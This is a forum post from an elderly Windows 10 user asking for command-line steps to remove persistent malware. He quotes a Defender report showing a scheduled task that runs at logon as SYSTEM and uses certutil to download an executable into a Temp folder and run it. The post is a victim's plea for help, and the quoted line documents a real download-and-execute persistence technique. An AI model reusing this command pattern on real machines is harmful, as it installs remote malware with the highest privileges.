Windows 10 Please help - Malware inserted into SCHTASKS - I cannot remove it.

[MikeCox5]

I am not a tech - I am 77 and cannot afford to have my computer repaired. Somehow I picked up this malware (amongst a ton of other malware) when I visited a sick site !!


This is what it says (via Defender Report) ;


admin prompt


C:\Windows\System32\schtasks.exe /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR cmd.exe /C certutil.exe -urlcache -split -f Suspected phishing site | Cloudflare C:\Users\Seebert\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Seebert\AppData\Local\Temp\csrss\scheduled.exe /31340 /TN ScheduledUpdate /F


I have tried MBAM and various other programs but they do nothing. They show the malware but will not remove it.


Would anyone be kind enough to type out what I would put into Admin CMD prompt to either remove or disable this totally destructive malware. It runs every time I start up, Defender announces it but cannot do anything about it. I have no training in IT and will be hugely grateful for any help.


Thanks, Mike.
